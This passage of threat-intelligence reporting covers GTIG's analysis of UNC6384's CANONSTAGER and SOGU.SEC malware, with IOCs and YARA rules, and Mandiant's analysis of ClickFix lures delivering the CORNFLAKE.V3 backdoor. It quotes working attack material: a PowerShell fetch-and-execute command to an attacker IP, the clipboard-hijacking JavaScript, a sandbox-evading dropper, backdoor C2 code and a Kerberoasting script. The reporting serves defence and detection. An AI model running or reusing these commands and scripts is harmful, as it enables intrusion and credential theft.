It remains an open question how the threat actors are obtaining these certificates. The Subscriber organization may be a victim with compromised code signing material. However, they may also be a willing participant or front company facilitating cyber espionage operations. Malware samples signed by Chengdu Nuoxin Times Technology Co., Ltd date back to at least January 2023. GTIG is continuing to monitor the connection between this entity and PRC-nexus cyber operations.

Malicious Launcher: CANONSTAGER

Once CANONSTAGER is executed, its ultimate purpose is to surreptitiously execute the encrypted payload, a variant of SOGU tracked as SOGU.SEC. CANONSTAGER implements a control flow obfuscation technique using custom API hashing and Thread Local Storage (TLS). The launcher also abuses legitimate Windows features such as window procedures, message queues, and callback functions to execute the final payload. 

API Hashing and Thread Local Storage

Thread Local Storage (TLS) is intended to provide each thread in a multi-threaded application its own private data storage. CANONSTAGER uses the TLS array data structure to store function addresses resolved by its custom API hashing algorithm. The function addresses are later called throughout the binary from offsets into the TLS array. 

In short, the API hashing hides which Windows APIs are being used, while the TLS array provides a stealthy location to store the resolved function addresses. Use of the TLS array for this purpose is unconventional. Storing function addresses here may be overlooked by analysts or security tooling scrutinizing more common data storage locations.

Below is an example of CANONSTAGER resolving and storing the GetCurrentDirectoryW function address.

1. Resolve the GetCurrentDirectoryW hash (0x6501CBE1)

2. Get the location of the TLS array from the Thread Information Block (TIB)

3. Move the resolved function address into offset 0x8 of the TLS array

Figure 9: Example of storing function addresses in TLS array

Indirect Code Execution 

CANONSTAGER hides its launcher code in a custom window procedure and triggers its execution indirectly using the Windows message queue. Using these legitimate Windows features lowers the likelihood of security tools detecting the malware and raising alerts. It also obscures the malware’s control flow by “hiding” its code inside of the window procedure and triggering execution asynchronously. 

At a high level, CANONSTAGER:

1. Registers a class containing a callback function;

2. Creates a new window with the registered class;

3. Sends WM_SHOWWINDOW to the message queue;

4. Enters a message loop to receive and dispatch messages to the created window;

5. Creates a new thread to decrypt “cnmplog.dat” as SOGU.SEC when the window receives the WM_SHOWWINDOW message; then

6. Executes SOGU.SEC in-memory with an EnumSystemGeoID callback.

Figure 10: Overview of CANONSTAGER execution using Windows message queue

Window Procedure 

On a Windows system, every window class has an associated window procedure. The procedure allows programmers to define a custom function to process messages sent to the specified window class. 

CANONSTAGER creates an Overlapped Window with a registered WNDCLASS structure. The structure contains a callback function to the programmer-defined window procedure for processing messages. Additionally, the window is created with a height and width of zero to remain hidden on the screen. 

Inside the window procedure, there is a check for message type 0x0018 (WM_SHOWWINDOW). When a message of this type is received, a new thread is created with a function that decrypts and launches the SOGU.SEC payload. For any message type other than 0x0018 (or 0x2 to ExitProcess), the window procedure calls the default handler (DefWindowProc), ignoring the message. 

Message Queue 

Windows applications use Message Queues for asynchronous communication. Both user applications and the Windows system can post messages to Message Queues. When a message is posted to an application window, the system calls the associated window procedure to process the message.

In order to trigger the malicious window procedure, CANONSTAGER uses the ShowWindow function to send a WM_SHOWWINDOW (0x0018) message to its newly created window via the Message Queue. Since the system, or other applications, may also post messages to the CANONSTAGER’s window, a standard Windows message loop is entered. This allows all posted messages to be sent, including the intended WM_SHOWWINDOW message.

1. GetMessageW - retrieve all messages in the thread’s message queue.

2. TranslateMessage - Convert message from a “virtual-key” to a “character message”.

3. DispatchMessage - Delivers the message to the specific function (WindowProc) that handles messages for the window targeted by that message.

4. Loop back to 1, until all messages are dispatched.

Deploying SOGU.SEC

After the correct message type is received by the window procedure, CANONSTAGER moves on to deploying its SOGU.SEC payload with the following steps:

1. Read the encrypted “cnmplog.dat” file, packaged in the downloaded MSI;

2. Decrypt the file with a hardcoded 16-byte RC4 key;

3. Execute the decrypted payload using an EnumSystemsGeoID callback function.

Figure 11: Callback function executing SOGU.SEC

UNC6384 has previously used both payload encryption and callback functions to deploy SOGU.SEC. These techniques are used to hide malicious code, evade detection, obfuscate control flow, and blend in with normal system activity. Additionally, all of these steps are done in-memory, avoiding endpoint file-based detections.

The Backdoor: SOGU.SEC

SOGU.SEC is a distinct variant of SOGU and is commonly deployed by UNC6384 in cyber espionage activity. This is a sophisticated, and heavily obfuscated, malware backdoor with a wide range of capabilities. It can collect system information, upload and download files from a C2, and execute a remote command shell. In this campaign, SOGU.SEC was observed communicating directly with the C2 IP address “166.88.2[.]90” using HTTPS.

Attribution

GTIG attributes this campaign to UNC6384, a PRC-nexus cyber espionage group believed to be associated with the PRC-nexus threat actor TEMP.Hex (also known as Mustang Panda). Our attribution is based on similarities in tooling, TPPs, targeting, and overlaps in C2 infrastructure. UNC6384 and TEMP.Hex are both observed to target government sectors, primarily in Southeast Asia, in alignment with PRC strategic interests. Both groups have also been observed to deliver SOGU.SEC malware from DLL side-loaded malware launchers and have used the same C2 infrastructure. 

Conclusion

This campaign is a clear example of the continued evolution of UNC6384's operational capabilities and highlights the sophistication of PRC-nexus threat actors. The use of advanced techniques such as AitM combined with valid code signing and layered social engineering demonstrates this threat actor’s capabilities. This activity follows a broader trend GTIG has observed of PRC-nexus threat actors increasingly employing stealthy tactics to avoid detection.

GTIG actively monitors ongoing threats from actors like UNC6384 to protect users and customers. As part of this effort, Google continuously updates its protections and has taken specific action against this campaign.

Acknowledgment

A special thanks to Jon Daniels for your contributions.

Appendix: Indicators of Compromise

A Google Threat Intelligence (GTI) collection of related IOCs is available to registered users. 

File Hashes

Name

Hash (SHA-256)

AdobePlugins.exe

65c42a7ea18162a92ee982eded91653a5358a7129c7672715ce8ddb6027ec124

20250509.bmp (MSI)

3299866538aff40ca85276f87dd0cefe4eafe167bd64732d67b06af4f3349916

cnmpaui.dll

e787f64af048b9cb8a153a0759555785c8fd3ee1e8efbca312a29f2acb1e4011

cnmplog.dat

cc4db3d8049043fa62326d0b3341960f9a0cf9b54c2fbbdffdbd8761d99add79

SOGU.SEC (memory only)

d1626c35ff69e7e5bde5eea9f9a242713421e59197f4b6d77b914ed46976b933

Certificate Fingerprints / Thumbprints

Name

Hash (SHA-1)

mediareleaseupdates[.]com

c8744b10180ed59bf96cf79d7559249e9dcf0f90

AdobePlugins.exe

eca96bd74fb6b22848751e254b6dc9b8e2721f96

Network Indicators

Name

IOC

Landing Page

https[:]//mediareleaseupdates[.]com/AdobePlugins[.]html

Javascript

https[:]//mediareleaseupdates[.]com/style3[.]js

STATICPLUGIN

https[:]//mediareleaseupdates[.]com/AdobePlugins[.]exe

MSI Package

https[:]//mediareleaseupdates[.]com/20250509[.]bmp

Hosting IP

103.79.120[.]72

C2 IP

166.88.2[.]90

SOGU.SEC User Agent

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 10.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host Indicators

Name

IOC

Mutex Name

KNbgxngdS

RC4 Key

mqHKVbHWWAJwrLXD

Registry Key

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\CanonPrinter="%APPDATA%\cnmpaui.exe" 9 780

File Path

%LOCALAPPDATA%\DNVjzaXMFO\

File Path

C:\Users\Public\Intelnet\

File Path

C:\Users\Public\SecurityScan\

YARA Rules rule G_Downloader_STATICPLUGIN_1 { meta: author = "GTIG" date_created = "2025-07-24" date_modified = "2025-07-24" description = "STATICPLUGIN is a downloader observed to retrieve an MSI packaged payload from a hard-coded C2 domain." md5 = "52f42a40d24e1d62d1ed29b28778fc45" rev = 1 strings: $s1 = "InstallRemoteMSI" $s2 = "InstallUpdate" $s3 = "Button1Click" $s4 = "Button2Click" $s5 = "WindowsInstaller.Installer" wide condition: uint16(0)==0x5a4d and all of them } rule G_Launcher_CANONSTAGER_1 { meta: author = "GTIG" date_created = "2025-07-25" date_modified = "2025-07-25" description = "CANONSTAGER is a side-loaded DLL launcher used to decrypt and execute a payload in-memory." md5 = "fa71d60e43da381ad656192a41e38724" rev = 1 strings: $str1 = ".dat" wide $str2 = "\\cnmplog" wide $code1 = {43 0F B6 ?? 0F B6 [3]00 D0 0F B6 ?? 8A 74 [2]88 74 [2]88 54 [2]8B 7? [2]02 54 [2]0F B6 ?? 0F B6 [3]32 14 ?? [0-4] 88 14 ?? 41 39 ?? 75 C? } $code2 = {0F B6 [3] 89 ?? 83 E? 0F 00 D0 02 ?? [1-2] 0F B6 ?? 8A 74 [2] 88 74 [2] 4? 88 54 [2]81 F? 00 01 00 00 75 D?} $code3 = {40 89 ?? 0F B6 C0 0F B6 [3]00 D9 88 9? [4-5]0F B6 F? 8A 7C 3? ?? 88 7C 0? ?? 88 5C 3? ?? 02 5C 0? ?? 0F B6 F? 0F B6 5C 3? ?? [0-2]8B [3]32 1C ?? [7-8]42 [0-2]39 D? 75 BC } condition: all of ($str*) and 2 of ($code*) }

Written by: Marco Galli

Welcome to the Frontline Bulletin Series

Straight from Mandiant Threat Defense, the "Frontline Bulletin" series brings you the latest on the most intriguing compromises we are seeing in the wild right now, equipping our community to understand and respond to the most compelling threats we observe. This edition dissects an infection involving two threat groups, UNC5518 and UNC5774, leading to the deployment of CORNFLAKE.V3.

Introduction

Since June 2024, Mandiant Threat Defense has been tracking UNC5518, a financially motivated threat cluster compromising legitimate websites to serve fake CAPTCHA verification pages. This deceptive technique, known as ClickFix, lures website visitors into executing a downloader script which initiates a malware infection chain. UNC5518 appears to partner with clients or affiliates who use access obtained by the group to deploy additional malware.

While the initial compromise and fake CAPTCHA deployment are orchestrated by UNC5518, the payloads served belong to other threat groups. UNC5518 utilizes downloader scripts that function as an access-as-a-service. Several distinct threat actors have been observed leveraging the access provided by UNC5518, including:

• UNC5774: A financially motivated group known to use CORNFLAKE backdoor to deploy a variety of subsequent payloads.

• UNC4108: A threat cluster with unknown motivation, observed using PowerShell to deploy various tools like VOLTMARKER and NetSupport RAT, and conducting reconnaissance.

This blog post details a campaign where Mandiant identified UNC5518 deploying a downloader that delivers CORNFLAKE.V3 malware. Mandiant attributes the CORNFLAKE.V3 samples to UNC5774, a distinct financially motivated actor that uses UNC5518's access-as-a-service operation as an entry vector into target environments.

The CORNFLAKE Family

CORNFLAKE.V3 is a backdoor, observed as two variants, written in JavaScript or PHP (PHP Variant) that retrieves payloads via HTTP. Supported payload types include shell commands, executables and dynamic link libraries (DLLs). Downloaded payloads are written to disk and executed. CORNFLAKE.V3 collects basic system information and sends it to a remote server via HTTP. CORNFLAKE.V3 has also been observed abusing Cloudflare Tunnels to proxy traffic to remote servers.

CORNFLAKE.V3 is an updated version of CORNFLAKE.V2, sharing a significant portion of its codebase. Unlike V2, which functioned solely as a downloader, V3 features host persistence via a registry Run key, and supports additional payload types.

The original CORNFLAKE malware differed significantly from later iterations, as it was written in C. This first variant functioned as a downloader, gathering basic system information and transmitting it via TCP to a remote server. Subsequently, it would download and execute a payload.

Malware Family

CORNFLAKE

CORNFLAKE.V2

CORNFLAKE.V3

Language

C

JS

JS or PHP

Type

Downloader

Downloader

Backdoor

C2 Communication

TCP socket (XOR encoded)

HTTP (XOR encoded)

HTTP (XOR encoded)

Payload types

DLL

DLL,EXE,JS,BAT

DLL,EXE,JS,BAT,PS

Persistence

No

No

Registry Run key

Table 1: Comparison of CORNFLAKE malware variants

Figure 1: The observed CORNFLAKE.V3 (Node.js) attack lifecycle

Initial Lead

Mandiant Threat Defense responded to suspicious PowerShell activity on a host resulting in the deployment of the CORNFLAKE.V3 backdoor.

Mandiant observed that a PowerShell script was executed via the Run command using the Windows+R shortcut. Evidence of this activity was found in the HKEY_USERS\User\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU registry key, containing the following entry which resulted in the download and execution of the next payload:

Name: a Value: powershell -w h -c "$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"\1

The RunMRU registry key stores the history of commands entered into the Windows Run (shortcut Windows+R) dialog box.

The execution of malicious scripts using the Windows+R shortcut is often indicative of users who have fallen victim to ClickFix lure pages. Users typically land on such pages as a result of benign browsing leading to interaction with search results that employ SEO poisoning or malicious ads.

Figure 2: Fake CAPTCHA verification (ClickFix) on an attacker-controlled webpage

As seen in the Figure 2, the user was lured into pasting a hidden script into the Windows Run dialog box which was automatically copied to the clipboard by the malicious web page when the user clicked on the image. The webpage accomplished this with the following JavaScript code:

// An image with the reCAPTCHA logo is displayed on the webpage <div class="c" id="j"> <img src="https://www.gstatic[.]com/recaptcha/api2/logo_48.png" alt="reCAPTCHA Logo"> <span>I'm not a robot</span> </div> // The malicious script is saved in variable _0xC var _0xC = "powershell -w h -c "$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"\1"; // When the image is clicked, the script is copied to the clipboard document.getElementById("j").onclick = function(){ var ta = document.createElement("textarea"); ta.value = _0xC; document.body.appendChild(ta); ta.select(); document.execCommand("copy");

The PowerShell command copied to clipboard is designed to download and execute a script from the remote server 138.199.161[.]141:8080/$u, where $u indicates the UNIX epoch timestamp of the download.

As a result, the PowerShell process connects to the aforementioned IP address and port with URL path 1742214432 (UNIX epoch timestamp), as shown in the following HTTP GET request:

GET /1742214432 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.5486 Host: 138.199.161[.\]141:8080 Connection: Keep-Alive

The following PowerShell dropper script, similar to 1742214432, was recovered from a threat-actor controlled server during the investigation of a similar CORNFLAKE.V3 compromise:

# Get computer manufacturer for evasion check. $Manufacturer = Get-WmiObject Win32_ComputerSystem | Select-Object -ExpandProperty Manufacturer # Exit if running in QEMU (VM detection). if ($Manufacturer -eq "QEMU") { exit 0; } # Get memory info for evasion check. $TotalMemoryGb = (Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB $AvailableMemoryGb = (Get-CimInstance Win32_OperatingSystem).FreePhysicalMemory / 1MB $UsedMemoryGb = $TotalMemoryGb - $AvailableMemoryGb # Exit if total memory is low or calculated "used" memory is low (possible sandbox detection). if ($TotalMemoryGb -lt 4 -or $UsedMemoryGb -lt 1.5) { exit 0 } # Exit if computer name matches default pattern (possible sandbox detection). if ($env:COMPUTERNAME -match "DESKTOP-S*") { exit 0 } # Pause execution briefly. sleep 1 # Define download URL (defanged). $ZipURL = "hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip" # Define destination folder (AppData). $DestinationFolder = [System.IO.Path]::Combine($env:APPDATA, "") # Define temporary file path for download. $ZipFile = [System.IO.Path]::Combine($env:TEMP, "downloaded.zip") # Download the Node.js zip file. iwr -Uri $ZipURL -OutFile $ZipFile # Try block for file extraction using COM objects. try { $Shell = New-Object -ComObject Shell.Application $ZIP = $Shell.NameSpace($ZipFile) $Destination = $Shell.NameSpace($DestinationFolder) # Copy/extract contents silently. $Destination.CopyHere($ZIP.Items(), 20) } # Exit on any extraction error. catch { exit 0 } # Update destination path to the extracted Node.js folder. $DestinationFolder = [System.IO.Path]::Combine($DestinationFolder, "node-v22.11.0-win-x64") # Base64 encoded payload (large blob containing the CORNFLAKE.V3 sample). $BASE64STRING =<Base-64 encoded CORNFLAKE.V3 sample> # Decode the Base64 string. $BINARYDATA = [Convert]::FromBase64String($BASE64STRING) # Convert decoded bytes to a string (the payload code). $StringData = [System.Text.Encoding]::UTF8.GetString($BINARYDATA) # Path to the extracted node.exe. $Node = [System.IO.Path]::Combine($DestinationFolder, "node.exe") # Start node.exe to execute the decoded string data as JavaScript, hidden. start-process -FilePath "$Node" -ArgumentList "-e `"$StringData`"" -WindowStyle Hidden

The PowerShell dropper’s execution includes multiple steps:

• Check if it is running inside a virtual machine and, if true, exit

• Download Node.js via HTTPS from the URL hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip, write the file to %TEMP%\downloaded.zip and extract its contents to the directory %APPDATA%\node-v22.11.0-win-x64

• Base64 decode its embedded CORNFLAKE.V3 payload and execute it via the command %APPDATA%\node-v22.11.0-win-x64\node.exe -e “<base64_decoded_CORNFLAKE.v3>”

The PowerShell dropper's anti-vm checks include checking for low system resources (total memory less than 4GB or used memory less than 1.5GB) and if the target system's computer name matches the regular expression DESKTOP-S* or the target system's manufacturer is QEMU.

As a result of the dropper’s execution, a DNS query for the nodejs[.]org domain was made, followed by the download of an archive named downloaded.zip (SHA256: 905373a059aecaf7f48c1ce10ffbd5334457ca00f678747f19db5ea7d256c236). This archive contained the Node.js runtime environment, including its executable file node.exe, which was then extracted to %APPDATA%\node-v22.11.0-win-x64\. The Node.js environment allows for the execution of JavaScript code outside of a web browser.

The extracted %APPDATA%\node-v22.11.0-win-x64\node.exe binary was then launched by Powershell with the -e argument, followed by a large Node.js script, a CORNFLAKE.V3 backdoor sample.

Mandiant identified the following activities originating from the CORNFLAKE.V3 sample:

• Host and AD-based reconnaissance

• Persistence via Registry Run key

• Credential harvesting attempts via Kerberoasting

The following process tree was observed during the investigation:

explorer.exe ↳ c:\windows\system32\windowspowershell\v1.0\powershell.exe -w h -c "$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex" ↳ c:\users\<user>\appdata\roaming\node-v22.11.0-win-x64\node.exe -e "{CORNFLAKE.V3}" ↳ c:\windows\system32\windowspowershell\v1.0\powershell.exe -c "{Initial check and System Information Collection}" ↳ C:\Windows\System32\ARP.EXE -a ↳ C:\Windows\System32\chcp.com 65001 ↳ C:\Windows\System32\systeminfo.exe ↳ C:\Windows\System32\tasklist.exe /svc ↳ c:\windows\system32\cmd.exe /d /s /c "wmic process where processid=16004 get commandline" ↳ C:\Windows\System32\cmd.exe /d /s /c "{Kerberoasting}" ↳ c:\windows\system32\cmd.exe /d /s /c "{Active Directory Reconnaissance}" ↳ c:\windows\system32\cmd.exe /d /s /c "reg add {ChromeUpdater as Persistence}" Analysis of CORNFLAKE.V3 

The CORNFLAKE.V3 sample recovered in our investigation was completely unobfuscated, which allowed us to statically analyze it in order to understand its functionality. This section describes the primary functions of the malware.

Initial Check and System Information Collection if (process.argv[1] !== undefined && process.argv[2] === undefined) { const child = spawn(process.argv[0], [process.argv[1], '1'], { detached: true, stdio: 'ignore', windowsHide: true, }); child.unref(); process.exit(0); }

When the script initially executes, a check verifies the command line arguments of the node.exe process, keeping in mind that the binary is initially spawned with a single argument (the script itself), this check forces the script to create a child process which has 1 as an additional argument, then the initial node.exe exits. When the child process runs, since it now has three arguments, it will pass this initial check and execute the rest of the script.

This check allows the malware to ensure that only one instance of the script is executing at one time, even if it is launched multiple times due to its persistence mechanisms.

Following this, the malware attempts to collect system information using the following code:

let cmd = execSync('chcp 65001 > $null 2>&1 ; echo \'version: ' + ver + '\' ; if ([Security.Principal.WindowsIdentity]::GetCurrent().Name -match '(?i)SYSTEM') { \'Runas: System\' } elseif (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole ([Security.Principal.WindowsBuiltInRole]::Administrator)) { \'Runas: Admin\' } else { \'Runas: User\' } ; systeminfo ; echo \'=-=-=-=-=-\' ; tasklist /svc ; echo \'=-=-=-=-=-\' ; Get-Service | Select-Object -Property Name, DisplayName | Format-List ; echo \'=-=-=-=-=-\' ; Get-PSDrive -PSProvider FileSystem | Format-Table -AutoSize ; echo \'=-=-=-=-=-\' ; arp -a', { encoding: 'utf-8', shell: 'powershell.exe', windowsHide: true }); commandRet = Buffer.from(cmd, 'utf-8'); sysinfo = Buffer.concat([numberBufferInit, numberBufferId, commandRet]);

This code block executes a series of PowerShell commands (or fallback CMD commands if PowerShell fails) using execSync. It gathers the script's version, user privilege level (System, Admin, User), standard systeminfo output, running tasks/services (tasklist /svc), service details (Get-Service), available drives (Get-PSDrive), and the ARP table (arp -a).

C2 Initialization

After setting some logical constants and the command and control (C2) server IP address, the malware enters the mainloop function. The script contains support for two separate lists, hosts and hostsIP, which are both used in the C2 communication logic. Initially, the mainloop function attempts to connect to a random host in the hosts list, however, if unable to do so, it will attempt to connect to a random IP address in the hostsIP list instead. Once a connection is successfully established, the main function is called.

// Define lists of hostnames and IP addresses for the command and control server. const hosts = ['159.69.3[.]151']; const hostsIp = ['159.69.3[.]151']; // Variables to manage the connection and retry logic. let useIp = 0; let delay = 1; // Main loop to continuously communicate with the command and control server. async function mainloop() { let toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length]; let toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length]; while (true) { // Wait for the specified delay. await new Promise((resolve) => setTimeout(resolve, delay)); try { // Attempt to communicate with the command and control server. if (useIp < 200) { await main(toHost, PORT_IP); useIp = 0; } else { await main(toIp, PORT_IP); useIp++; if (useIp >= 210) useIp = 0; } } catch (error) { // Handle errors during communication. console.error('Error with HTTP request:', error.message); toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length]; toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length]; useIp++; delay = 1000 * 10; continue; } // Set the delay for the next attempt. delay = 1000 * 60 * 5; } } C2 Communication

This function, named main, handles the main command and control logic. It takes a host and port number as arguments, and constructs the data to be sent to the C2 server. The malware sends an initial POST request to the path /init1234, which contains information about the infected system and the output of the last executed command; the contents of this request are XOR-encrypted by the enc function.

This request is answered by the C2 with 2 possible responses:

• ooff - the process exits

• atst - the atst function is called, which establishes persistence on the host

If the response does not match one of the aforementioned 2 values, the malware interprets the response as a payload and parses the last byte of the response after XOR decrypting it. The following values are accepted by the program:

Command

Type

Description

0

EXE

The received payload is written to %APPDATA%\<random_8_chars>\<random_8_chars>.exe and launched using the Node.js child_process.spawn() function.

1

DLL

The received payload is written to %APPDATA%\<random_8_chars>\<random_8_chars>.dll and launched using the Node.js child_process.spawn() function as an argument to rundll32.exe.

2

JS

The received payload is launched from memory as an argument to node.exe using the Node.js child_process.spawn() function.

3

CMD

The received payload is launched from memory as an argument to cmd.exe using the Node.js child_process.spawn() function. Additionally, the output is saved in the LastCmd variable and sent to the C2 in the next request.

4

Other

The payload is written to %APPDATA%\<random_8_chars>\<random_8_chars>.log.

Table 2: CORNFLAKE.V3 supported payloads Persistence

The atst function, called by main, attempts to establish persistence on the host by creating a new registry Run key named ChromeUpdater under HKCU\Software\Microsoft\Windows\CurrentVersion\Run.

The malware uses wmic.exe to obtain the command line arguments of the currently running node.exe process. If node.exe was launched with the -e argument, like the malware does initially, the script extracts the argument after -e, which contains the full malicious script. This script is written to the <random_8_chars>.log file in the Node.js installation directory and its path is saved to the path2file variable.

If node.exe was instead launched with a file as an argument (such as during the persistence phase), the path to this file is extracted and saved to the path2file variable.

The path2file variable is then set as an argument to node.exe in the newly created ChromeUpdater registry key. This ensures that the malware executes upon user logon.

Executed Payloads

As observed in the main function, this sample can receive and execute different types of payloads from its C2 server. This section describes two payloads that were observed in our investigation.

Active Directory Reconnaissance

The first payload observed on the host was a batch script containing reconnaissance commands. The script initially determines if the host is domain-joined, this condition determines which specific reconnaissance type is executed.

Domain Joined

• Query Active Directory Computer Count: Attempts to connect to Active Directory and count the total number of computer objects registered in the domain.
• Display Detailed User Context: Executes whoami /all to reveal the current user's Security Identifier (SID), domain and local group memberships, and assigned security privileges.
• Enumerate Domain Trusts: Executes nltest /domain_trusts to list all domains that the current computer's domain has trust relationships with (both incoming and outgoing).
• List Domain Controllers: Executes nltest /dclist : to find and list the available Domain Controllers (DCs) for the computer's current domain.
• Query Service Principal Names (SPNs): Executes setspn -T <UserDomain> -Q */* to query for all SPNs registered in the user's logon domain, then filters the results (Select-String) to specifically highlight SPNs potentially associated with user accounts (lines starting CN=...Users).

Not Domain Joined

• Enumerate Local Groups: Uses Get-LocalGroup to list all security groups defined locally on the machine.
• Enumerate Local Group Members: For each local group found, uses Get-LocalGroupMember to list the accounts (users or other groups) that are members of that group, displaying their Name and PrincipalSource (e.g., Local, MicrosoftAccount).

Kerberoasting

The second script executed is a batch script which attempts to harvest credentials via Kerberoasting. The script queries Active Directory for user accounts configured with SPNs (often an indication of a service account using user credentials). For each of these, it requests a Kerberos service ticket from which a password hash is extracted and formatted. These hashes are exfiltrated to the C2 server, where the attacker can attempt to crack them.

$a = 'System.IdentityModel'; $b = [Reflection.Assembly]::LoadWithPartialName($a); $c = New - Object DirectoryServices.DirectorySearcher([ADSI]''); $c.filter = '(&(servicePrincipalName=*)(objectCategory=user))'; $d = $c.Findall(); foreach($e in $d) { $f = $e.GetDirectoryEntry(); $g = $f.samAccountName; if ($g - ne 'krbtgt') { Start - Sleep - Seconds (Get - Random - Minimum 1 - Maximum 11); foreach($h in $f.servicePrincipalName) { $i = $null; try { $i = New - Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken - ArgumentList $h; } catch {} if ($i - ne $null) { $j = $i.GetRequest(); if ($j) { $k = [System.BitConverter]::ToString($j) - replace'-'; [System.Collections.ArrayList]$l = ($k - replace'^(.*?)04820...(.*)', '$2') - Split'A48201'; $l.RemoveAt($l.Count - 1); $m = $l - join'A48201'; try { $m = $m.Insert(32, '$'); $n = '$krb5tgs$23$*' + $g + '/' + $h + '*$' + $m; Write - Host $n; break; } catch {}}}}}} PHP Variant

Mandiant Threat Defense recently observed a new PHP-based CORNFLAKE.V3 variant which has similar functionality to the previous Node.js based iterations.

This version was dropped by an in-memory script which was executed as a result of interaction with a malicious ClickFix lure page.

The script downloads the PHP package from windows.php[.]net, writes it to disk as php.zip and extracts its contents to the C:\Users\<User>\AppData\Roaming\php\ directory. The CORNFLAKE.V3 PHP sample is contained in the config.cfg file that was also dropped in the same directory and executed with the following command line arguments:

"C:\\Users\<User>\AppData\Roaming\php\php.exe" -d extension=zip -d extension_dir=ext C:\Users\<User>\AppData\Roaming\php\config.cfg 1

To maintain persistence on the host, this variant utilizes a registry Run key named after a randomly chosen directory in %APPDATA% or %LOCALAPPDATA% instead of the fixed ChromeUpdater string used in the Node.js version. To communicate with its C2 a unique path is generated for each request, unlike the static /init1234 path:

POST /ue/2&290cd148ed2f4995f099b7370437509b/fTqvlt HTTP/1.1 Host: varying-rentals-calgary-predict.trycloudflare[.]com Connection: close Content-Length: 39185 Content-type: application/octet-stream

Much like the Node.js version, the last byte of the received payload determines the payload type, however, these values differ in the PHP version:

Command

Type

Notes

0

EXE

This decrypted content is saved to a temporary executable file (<rand_8_char>.exe) created in a random directory within the user's %APPDATA% folder, and executed through PowerShell as a hidden process.

1

DLL

The decrypted content is saved as a <rand_8_char>.png file in a temporary directory within the user's %APPDATA% folder. Subsequently, rundll32.exe is invoked to execute the downloaded file.

2

JS

This decrypted content is saved as a <rand_8_char>.jpg file in a temporary directory within the user's %APPDATA% folder. The script attempts to check if Node.js is installed. If Node.js is not found or fails to install from a hardcoded URL (http://nodejs[.]org/dist/v21.7.3/node-v21.7.3-win-x64.zip), an error message is printed. If Node.js is available, the downloaded JavaScript (.jpg) file is executed using node.exe.

3

CMD

This decrypted data is executed as a provided command string via cmd.exe or powershell.exe.

4

ACTIVE

This command reports the active_cnt (stored in the $qRunq global variable) to the C2 server. This likely serves as a heartbeat or activity metric for the implant.

5

AUTORUN

The malware attempts to establish persistence by adding a registry entry in HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run that points to the script's PHP binary and its own path.

6

OFF

This command directly calls exit(0), which terminates the PHP script's execution.

 

OTHER

If none of the specific commands match, the received data is saved as a .txt file in a temporary directory within the user's %APPDATA% folder.

Table 3: CORNFLAKE.V3 PHP variant supported payloads

The Javascript payload execution functionality was retained by implementing the download of the Node.js runtime environment inside the JS command. Other notable changes include the change of the DLL and JS payload file extensions into .png and .jpg to evade detection and the addition of the ACTIVE and AUTORUN commands. However, the main functionality of the backdoor remains unchanged despite the transition from Node.js to PHP.

These changes suggest an ongoing effort by the threat actor to refine their malware against evolving security measures.

Executed Payloads Active Directory Reconnaissance

A cmd.exe reconnaissance payload similar to the one encountered in the Node.js variant was received from the C2 server and executed. The script checks if the machine is part of an Active Directory domain and collects the following information using powershell:

Domain Joined

• Total count of computer accounts in AD.

• Domain trust relationships.

• List of all Domain Controllers.

• Members of the "Domain Admins" group.

• User accounts configured with a Service Principal Name (SPN).

• All local groups and their members

• Current User name, SID, local group memberships and security privileges

Not Domain Joined

• All local groups and their members

• Current User name, SID, local group memberships and security privileges

WINDYTWIST.SEA Backdoor

Following the interaction with its C2 server, a DLL payload (corresponding to command 1) was received, written to disk as C:\Users\<User>\AppData\Roaming\Shift194340\78G0ZrQi.png and executed using rundll32. This file was a WINDYTWIST.SEA backdoor implant configured with the following C2 servers:

tcp://167.235.235[.]151:443 tcp://128.140.120[.]188:443 tcp://177.136.225[.]135:443

This implant is a C version of the Java WINDYTWIST backdoor, which supports relaying TCP traffic, providing a reverse shell, executing commands, and deleting itself. In previous intrusions, Mandiant observed WINDYTWIST.SEA samples attempting to move laterally in the network of the infected machine.

The following process tree was observed during the infection:

